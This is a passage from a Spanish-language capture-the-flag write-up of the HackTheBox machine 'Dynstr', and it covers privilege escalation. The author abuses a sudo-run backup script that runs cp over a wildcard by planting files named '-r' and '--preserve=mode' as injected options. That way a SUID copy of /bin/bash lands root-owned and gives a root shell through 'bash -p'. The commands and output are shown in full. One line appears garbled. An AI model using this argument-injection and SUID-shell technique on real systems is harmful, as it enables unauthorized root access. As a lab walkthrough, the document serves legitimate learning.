Algunas cositas interesantes:

  • Muchos llamados a programas sin rutas absolutas.
  • El copy que hace es medio llamativo por lo que ya comenté.

Jugamos con el binario /bin/bash para darle permisos SUID persistentes 📌

Lo primero que intente fue jugar con los programas que no tenían ruta absoluta e intentar modificar en la variable $PATH del sistema para que cuando buscara alguno de ellos (por ejemplo el mismo cp), primero buscara en la ruta en la que yo estaba y si lo encontraba pues debería ejecutarlo, pero no funciono de ninguna manera, acá fue cuando preste atención a lo que estaba haciendo el script ya en ejecución.

Para ilustrar la explotación vamos a hacer un ejemplo rápido:

1. Creemos el archivo .version, hola.txt y carpeta holanda:

Área de trabajo:

bindmgr@dynstr:/tmp$ mkdir /tmp/tess

Validamos si existe algún archivo llamado .version en la ruta /etc/bind/named.bindmgr:

bindmgr@dynstr:/tmp/tess$ ls -la /etc/bind/named.bindmgr
total 8
drwxr-sr-x 2 root bind 4096 Mar 15 20:42 .
drwxr-sr-x 3 root bind 4096 Mar 20 12:00 ..

Nop, pues lo creamos:

bindmgr@dynstr:/tmp/tess$ echo "1" > .version
bindmgr@dynstr:/tmp/tess$ ls -la
total 12
drwxrwxr-x  2 bindmgr bindmgr 4096 Jul 18 21:21 .
drwxrwxrwt 13 root    root    4096 Jul 18 21:09 ..
-rw-rw-r--  1 bindmgr bindmgr    2 Jul 18 21:21 .version

Y ahora creamos un archivo llamado hola.txt y una carpeta llamada holanda para que también los copie en la ejecución:

bindmgr@dynstr:/tmp/tess$ echo "si hola, sisisisi" > hola.txt
bindmgr@dynstr:/tmp/tess$ mkdir holanda

2. Y finalmente ejecutamos el script con sudo:

bindmgr@dynstr:/tmp/tess$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/tess.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'holanda'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/holanda: file not found

Pasamos los primeros if, pero al final obtenemos un error y algo llamativo:

  • No encuentra el directorio holanda en la ruta /etc/bind/named.bindmgr, pero claro, tiene sentido:

    Vemos el output del comando cp, que al no ser especificado el parámetro -r (recursive) no fue copiado el directorio holanda.

Si validamos el directorio /etc/bind/named.bindmgr vemos algo aún más interesante en lo que no había caído en cuenta en mis pruebas anteriores:

bindmgr@dynstr:/tmp/tess$ ls -la /etc/bind/named.bindmgr
total 16
drwxr-sr-x 2 root bind 4096 Jul 18 21:30 .
drwxr-sr-x 3 root bind 4096 Jul 18 21:30 ..
-rw-r--r-- 1 root bind   18 Jul 18 21:30 hola.txt
-rw-r--r-- 1 root bind    2 Jul 18 21:30 .version

Los archivos son copiados como el usuario root (claramente, no había caído en cuenta), pues esto me dio una nueva idea:

¿Y si nos copiamos el binario /bin/bash a nuestra ruta, ejecutamos el script y vemos si por medio del binario copiado (al ser root el owner) conseguimos una Shell como root?

Supongo que alguno ya sabe lo que va a pasar, si no lo sabes no abras esto :P No va a funcionar, ya que da igual que root sea el owner, necesitamos que el binario sea SUID para que en vez de ejecutar el binario como el usuario que lo corre, lo ejecute como el owner del archivo, o sea, root.

Pues intentemos, copiémonos el binario:

bindmgr@dynstr:/tmp/tess$ cp /bin/bash .
bindmgr@dynstr:/tmp/tess$ ls -la
total 1172
drwxrwxr-x  2 bindmgr bindmgr    4096 Jul 18 21:41 .
drwxrwxrwt 13 root    root       4096 Jul 18 21:39 ..
-rwxr-xr-x  1 bindmgr bindmgr 1183448 Jul 18 21:41 bash
-rw-rw-r--  1 bindmgr bindmgr      18 Jul 18 21:22 hola.txt
-rw-rw-r--  1 bindmgr bindmgr       2 Jul 18 21:21 .version

Vemos que nosotros somos owners de todos los archivos, ejecutemos el script:

bindmgr@dynstr:/tmp/tess$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/tess.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
    /etc/bind/named.bindmgr/bash:40: unknown option 'YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:/tmp/tess$ ls -la /etc/bind/named.bindmgr
total 1172
drwxr-sr-x 2 root bind    4096 Jul 18 21:52 .
drwxr-sr-x 3 root bind    4096 Jul 18 21:52 ..
-rwxr-xr-x 1 root bind 1183448 Jul 18 21:52 bash
-rw-r--r-- 1 root bind      18 Jul 18 21:52 hola.txt
-rw-r--r-- 1 root bind       2 Jul 18 21:52 .version
bindmgr@dynstr:/tmp/tess$ cd /etc/bind/named.bindmgr
bindmgr@dynstr:/etc/bind/named.bindmgr$ ./bash
bindmgr@dynstr:/etc/bind/named.bindmgr$ whoami
bindmgr

Bien, ya tenemos el binario bash con el owner siendo el usuario root, pero aun así no logramos una sesión como el :(


Ahora sí, conseguimos ejecutar /bin/bash como el usuario root 📌

PUEEEEEEEEES! Acá ya entran en juego los famosos SUID (Set UID), esto lo que hace es indicarle al binario que se ejecute como el usuario dueño del binario, más no como el usuario que ejecute el binario, eso es lo que esta pasando cuando ejecutamos ./bash, ya que el que lo ejecuta es bindmgr más no root.

Para asignarle el permiso SUID debemos indicar:

bindmgr@dynstr:/tmp/tess$ chmod +s bash 
bindmgr@dynstr:/tmp/tess$ ls -la
...
-rwsr-sr-x  1 bindmgr bindmgr 1183448 Jul 18 21:41 bash
...

Vemos una s en los permisos, es el indicativo que ahora es un binario SUID, y para ejecutar el bin, pero tomando el SUID le indicamos el parámetro -p

Pero claro, cuando lo copiamos pasa algo:

bindmgr@dynstr:/tmp/tess$ sudo /usr/local/bin/bindmgr.sh
bindmgr@dynstr:/tmp/tess$ ls -la /etc/bind/named.bindmgr
...
-rwxr-xr-x 1 root bind 1183448 Jul 18 22:15 bash
...
bindmgr@dynstr:/tmp/tess$ cd /etc/bind/named.bindmgr
bindmgr@dynstr:/etc/bind/named.bindmgr$ ./bash -p
bindmgr@dynstr:/etc/bind/named.bindmgr$ whoami
bindmgr

Lo copia con los permisos por default, más no se lleva el nuevo que le agregamos, por lo tanto aún no va a tomar el SUID… Peeeero si recordamos el comando cp en un momento nos pidió un parámetro (-r) para poder copiar recursivamente la carpeta holanda:

(

Lo que hicimos para evitar ese error y que hiciera el copy de la carpeta fue simplemente crearnos un archivo llamado -r en la ruta donde ejecutamos el script. Cuando llega a la parte del cp el comando encuentra algo llamado -r y lo toma como parámetro, lo que significa que en vez de simplemente hacer cp ... hace cp ... -r, o sea, nos logró copiar la carpeta, pero no quiero ponerlo porque se alarga un poquito, pero igual ya se los resumí, ahora queda en su imaginación :P

)

Pues buscando alguna manera de mantener los permisos del binario llegamos a este hilo:

Podemos indicarle a cp el parámetro -p para que guarde tanto los permisos, como el owner, como las fechas, o sea, todo. La cosa es que nosotros no queremos que tome todo, solo los permisos, para eso le debemos pasar el parámetro --preserve=mode.

Así que creemos un archivo con ese nombre:

bindmgr@dynstr:/tmp/tess$ touch -- \--preserve=mode
bindmgr@dynstr:/tmp/tess$ ls -la
...
-rw-rw-r--  1 bindmgr bindmgr       0 Jul 18 22:49 '--preserve=mode'

Ahora ejecutamos el script yyy validamos el binario bash:

bindmgr@dynstr:/tmp/tess$ sudo /usr/local/bin/bindmgr.sh

Perfecto, ahora si tenemos los permisos necesarios yyy es root el owner del objeto, pues ejecutémoslo:

Si ejecutamos el binario seguimos siendo bindmgr, pero es por lo que no le estamos indicando que tome el SUID del programa:

352bash_bindmgrSH_bashASroot_done

Opa la popa, somoooooooooos root :D

Solo nos quedaría ver las flags:

The fin.

Vaya monstruosidad de inicio, al no tener casi nada de conocimientos contra DNS y sus utilidades me fue súper difícil encontrar muchas cosas (hasta frustrante), pero bueno, lo superamos y llegamos al final (de la máquina e.e).

Me gusto, bastante dinámica y con cositas que no había visto. La parte de tener que agregar nuestro dominio a la zona para poder usar SSH me pareció brutal, muy lindo eso.

Y bueeeeeno, a momir :P nos leeremos después y como siempre: ._ .

¡A SEGUIR ROMPIENDO TODOOOOOOOOOOOO!! <3

Comments

comments powered by Disqus